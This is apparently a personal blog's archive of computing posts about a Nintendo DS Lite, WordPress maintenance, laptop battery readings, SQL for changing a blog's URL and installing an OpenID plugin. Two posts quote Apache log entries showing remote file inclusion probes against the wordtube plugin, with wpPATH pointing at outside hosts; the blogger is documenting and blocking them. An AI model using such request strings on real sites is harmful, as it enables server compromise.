Category Archives: computing

computing in general

early morning fun with my nokia 770

I’m really bored ok? Anyway…

With all the craze of iphone madness i’m quite content with my newest toy. It’s got wifi built-in, along with bluetooth, and many more bells and whistles yet to be explored.

Video thumbnail. Click to play
Click To Play

Click to continue reading “early morning fun with my nokia 770″

I’m writing this post with my DS Lite.

As the title implies, this post is being written using a Nintendo DS Lite and the touch screen mini-keyboard. I personally think it’s better than thumbing out words in T9.
So far I really am impressed with what the browser is capable of. It worked perfectly with pwdhash.com, only lacking a cut and paste buffer. I reccomend turning off the sounds or the clicky click will drive you nuts while writing anything longer than a few words.

The start page is rather neat also, the “start links” feature is handy for links to your XBMC remote, or DS Portal.

The first thing I changed when I got into the preferences was to make Google the search provider instead of Yahoo!. Next I made a couple bookmarks for useful purposes, like an XBMC remote control, a DS Lite Portal, and my blog.

One more thing about a thought I’ve been having… The mobile internet as I see it now, acts, behaves, and mimics the ‘net of the late 90’s.

PS. I want a wireless keyboard now for my Nintendo DS Lite.
PPS. The Wordpress interface could be bit more friendly to this quaint device, perhaps an admin theme or Wordpress Plugin?
[tags]

blog changes

Current Mood:Cool emoticon Cool & Happy emoticon Happy

I changed a few things about my blog/websites today.

Noticeably I changed my Wordpress theme, from the great plaintxtBlog to The Sandbox, for a cleaner, more plain look.  Also I might try my hand at some CSS because it’s supposed to be very easy to modify.  Over the next few days I will figure out how I would like my widgets to be placed, which doesn’t matter much for readers of my feed.  For now let’s just consider them to be out of order.

I added some good stuff from Project Honey Pot. Sshhh.

A search on wp-plugins.net yielded a Wordpress Plugin, http:BL Lite, which took only a few moments to download and configure.  It also uses my http:BL access key from Project Honey Pot and even creates hidden links to my Honey Pot.

wordtube deleted.

Current Mood:Important emoticon Important

OK, over the past week+ after updating this plugin, my site’s theme has magically changed to the Wordpress default Kubrick theme on a few occasions. I’ve decided to give wordtube the axe, I don’t need the hassle of an easily attacked plugin. Below is a quick set of statistics from May 10th, to today May 16th. Most of them were happily blocked with HTTP 403 by one of my other plugins, and .htaccess.

grep "/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=" /var/log/apache2/blog.px.ns1.net_*log|wc -l
567
grep "wordtube-button.php" /var/log/apache2/blog.px.ns1.net_*log |wc -l
577
grep libwww-perl /var/log/apache2/blog.px.ns1.net_*log|wc -l
588
grep "wordtube-button.php" /var/log/apache2/blog.px.ns1.net_*log |grep -v 403|wc -l
11  # 6 of these were my own accesses.

Now I just need to checkout my system for any tertiary issues. *sigh*

laptop battery capacity

Current Mood:Sad emoticon Sad

I lost some capacity on my laptop battery to{day,night} because I accidentally left it on and unplugged when I went out to dinner tonight. :(

Tue May  8 04:40:45 MST 2007
alarm:                   unsupported
present:                 yes
design capacity:         8800 mWh
last full capacity:      8075 mWh
battery technology:      rechargeable
design voltage:          10800 mV
design capacity warning: 807 mWh
design capacity low:     403 mWh
capacity granularity 1:  264 mWh
capacity granularity 2:  8 mWh
model number:            351s1
serial number:           001
battery type:            LiOn
OEM info:                OEM
present:                 yes
capacity state:          ok
charging state:          charging
present rate:            unknown
remaining capacity:      7529 mWh
present voltage:         12597 mV

The last full capacity had been 8331 mWh for quite a long time after I began keeping track of my battery usage, and draining the battery at least once every two weeks hoping to extend the life of my new battery. Ohwell.

wordtube?

Current Mood:Confused emoticon Confused

I saw something interesting in my apache log.

blog.px.ns1.net 72.36.146.234 server.webbyte.com - - [06/May/2007:18:51:22 -0700] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.pikspiller.dk/stats/format/status.txt? HTTP/1.1" 200 962 "-" "libwww-perl/5.805" mod_deflate: In:- Out:-:-pct.

the file status.txt isn’t malicious, just an echo.

< ? echo "1122548"; ?>


UPDATE
it happened again. with a different host/file this time. Time to toss this plugin??

blog.px.ns1.net 85.119.156.52 power-network.org - - [07/May/2007:23:34:28 -0700] "GET //wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://sanwall.info/echo.txt? HTTP/1.1" 200 922 "-" "libwww-perl/5.803" mod_deflate: In:- Out:-:-pct.

UPDATE2
yeah, there just found an advisory to update to a newer version.

wordpress url change mysql code

I changed the url of my blog again recently here is some helpful mysql code to renaming a wordpress blog url. YMMV. You’ll need to find all the other fields which containd the old information. I’d like this to be a plugin, it’s more or less a set of simple database commands, but for now cut and paste code will work ok.

 
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'blog.blog.px.ns1.net','blog.px.ns1.net');# MySQL returned an empty result set (i.e. zero rows).
 
UPDATE `wp_comments` SET `comment_author_url` = REPLACE(`comment_author_url`,'blog.blog.px.ns1.net','blog.px.ns1.net');# MySQL returned an empty result set (i.e. zero rows).
 
UPDATE `wp_options` SET `option_value` = REPLACE(`option_value`,'blog.blog.px.ns1.net','blog.px.ns1.net');# MySQL returned an empty result set (i.e. zero rows).
 
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'https://px.ns1.net','http://blog.px.ns1.net:81');
 
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'http://px.ns1.net:81','http://blog.px.ns1.net:81');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'/wordpress','/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,':81//',':81/');
UPDATE `wp_xspf_player` SET `url` = REPLACE(`url`,'https://px.ns1.net','http://blog.px.ns1.net:81');
 
UPDATE `wp_posts` SET `guid` = REPLACE(`guid`,'https://px.ns1.net/','http://blog.px.ns1.net:81/');
 
UPDATE `wp_posts` SET `guid` = REPLACE(`guid`,'http://px.ns1.net:81/','http://blog.px.ns1.net:81/');
 
UPDATE `wp_posts` SET `guid` = REPLACE(`guid`,'/wordpress/wordpress/','/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,"[php]","<pre lang=\"php\">");
 
 UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,"[/php]","</pre>");

update:

UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'/wordpress/wordpress/','/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'/wordpress/','/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'http://px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_posts` SET `post_content` = REPLACE(`post_content`,'http://blog.px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_posts` SET `pinged` = REPLACE(`pinged`,'ns1.net/wordpress/','ns1.net/');
UPDATE `wp_posts` SET `pinged` = REPLACE(`pinged`,'http://px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_posts` SET `pinged` = REPLACE(`pinged`,'/wordpress/wordpress/','/');
 
UPDATE `wp_posts` SET `guid` = REPLACE(`guid`,'http://blog.px.ns1.net:81/','http://blog.px.ns1.net/');
 
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'http://px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'http://blog.px.ns1.net:81//','http://blog.px.ns1.net/');
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'http://blog.px.ns1.net:81/','http://blog.px.ns1.net/');
UPDATE `wp_postmeta` SET `meta_value` = REPLACE(`meta_value`,'/wordpress','/');
 
UPDATE `wp_options` SET `option_value` = REPLACE(`option_value`,':81','');

Quickie Howto install the OpenID Wordpress plugin.

My friend Dan Spisak was having issues with getting his wpopenid plugin to work. I had previously mentioned to him the method which I had gotten mine installed to him, but I think I forgot a step or something, after getting the latest SVN version. I had gotten OpenID support working on here already, but ended up breaking my installation again recently. So I decided to write it out here.

DISCLAIMER: Here is the basic method I used. This is the installation method which worked for me, but may not work for you. The code below, will likely not work without modifications.

Download and unpack this to a tmp folder. It’s a tarball which contains wpopenid revison 86, and required libraries.

 
cd /tmp
 
wget http://sourceforge.net/project/showfiles.php?group_id=167532&package_id=190501&release_id=471609
 
tar -zxvpf wpopenid.86.tgz
 
# cd to where your wordpress installation lives.
 
cd /var/www/yourhost/htdocs//
 
cd /wp-content/plugins
 
# the latest revision as of today is Rev 95
 
svn co https://wpopenid.svn.sourceforge.net/svnroot/wpopenid/trunk wpopenid
 
# After unpacking the tarball, move the two directories listed
 
# Auth, Services to the wpopenid plugin folder
 
# these are the version 1.2.1 JanRain OpenID libraries.
 
mv /tmp/wpopenid/Auth /tmp/wpopenid/Services /wp-content/plugins/wpopenid
 
# below is the files and directories which you should now have.
 
cd /wp-content/plugins
 
ls -a
.   .svn  README    Tests     images                   todo                wpdb-pear-wrapper.php
..  Auth  Services  flow.png  openid-registration.php  user-interface.php  wpmuopenid.php

Then all you need to do is goto your dashboard, -> plugins, and activate wpopenid. You may need to refer to the README file in order to get the plugin to work with your theme, or to customize.

There is one more thing which needs to possibly be adjusted, you will need to check your error logs for something similar to the following.

 
[Sat Mar 10 17:08:52 2007] [error] [client 207.46.98.139] -------------------wpopenid-------------------
[Sat Mar 10 17:08:52 2007] [error] [client 207.46.98.139] WPOpenID Status: file:error_log [info]: PHP error_log is not set.

So unless your are debugging you will need to modify wpmuopenid.php and openid-registration.php to include…

 
define ( 'WORDPRESSOPENIDREGISTRATION_DEBUG', false );

Updating to the latest revision of the wpopenid is quite simple when using subversion.

 
cd /wp-content/plugins/wpopenid
 
svn update

You may eventually have to update the JanRain PHP OpenID libraries also, which isn’t the case as of this writing.

links:

http://sourceforge.net/project/showfiles.php?group_id=167532&package_id=190501&release_id=471609

http://www.openidenabled.com/openid/libraries/php/

article submission for GWN

I had read the previous GWN, and the request for help summarizing topics sounded interesting. A couple days later while browsing the forums, I decided to start reading a long thread. By page 3 I knew that I had something to try writing about. With my eyes already straining, the already heavily discussed ideas of possible political systems of relationships between those related in how Gentoo “lives” began to seem petty. After reading the entire thread, and numerous other pieces to the discussion at hand a trend was forming. I know it is not a 50 to 250 word summary, but that would be quite difficult to do. It’s more of an essay of how I see things, and partial summaries of how others view the current state.

Attached is something I would like to submit for the GWN. I’m not much of a writer, and I’m sure it could use some editing, but I feel it’s subject is quite important.

gentoo-article-idea.txt (download)

gentoo-article-idea.txt

I deserve cools toys

More and more lately I’ve been wanting to get a Nintendo DS. Especially since I first read about people getting under their hoods and shall we say, extending their functionality. So about a month ago when I was in California, I was at a friend’s place, her DS was laying around, so I checked it out while we chatted a bit. This again peaked my interest so I mentioned my interest in getting one. She said one of the games she plays is Mario Kart DS. My money situation being what it is, deficient, and also feeling the need to get something nice for myself I splurged.

…so to make a short story shorter tonight (monday night) I decided to get myself an Onyx Nintendo DS Lite, and as a starter game I got Mario Kart DS for a couple reasons, I knew that would be a safe bet to start off with for a first game for multi-player action with friends or even random people over the internet it should work over the wifi I have blanketing my house. ( It didn’t work at first and after some reading up and a couple modifications all was fine. )I actually had to retard, and I say this nicely, one of my access points to 1-2mbps, as apparently 11mbps is too much for these lil toys. So to make my DS feel special, not that it actually can, it has it’s own SSID and access point on my network at home, “OPEN4BUSINESSds”. No more fumbling with it anymore, it just works fine, I played a few people earlier over it and they kicked my ass pretty good.

Oh yeah, I got a friend code after I got online with Mario Kart DS, so I’m putting it on here mostly for a point of reference, maybe/hopefully it’s the same for all the online multi-player DS games.

536 964 812 678

Another reason I wanted to get the DS lite, is I’ve been running out of Xbox games to rent from GameFly. I’d feel foolish just giving them money and not renting video games or playing the games, as they tend to sit around stagnant for weeks on end sometimes before being played. I need to make a list of all the games to try out for the DS. One game I definately want to try is Brain Age. Which is in my queue, and hopefully will get to me before I get to California next week.

It would be most helpful if I could get some opinions from the other known DS junkies including some favorite games and helpful comments.

laptop battery

I haven’t posted any statistics about my laptop battery in quite some time.
Noticeably I haven’t lost any more capacity since November.

$ battery.sh 
Thu Mar  1 18:13:06 MST 2007
alarm:                   unsupported
present:                 yes
design capacity:         8800 mWh
last full capacity:      8331 mWh
battery technology:      rechargeable
design voltage:          10800 mV
design capacity warning: 833 mWh
design capacity low:     416 mWh
capacity granularity 1:  264 mWh
capacity granularity 2:  8 mWh
model number:            351s1
serial number:           001
battery type:            LiOn
OEM info:                OEM
present:                 yes
capacity state:          ok
charging state:          charged
present rate:            unknown
remaining capacity:      8331 mWh
present voltage:         12631 mV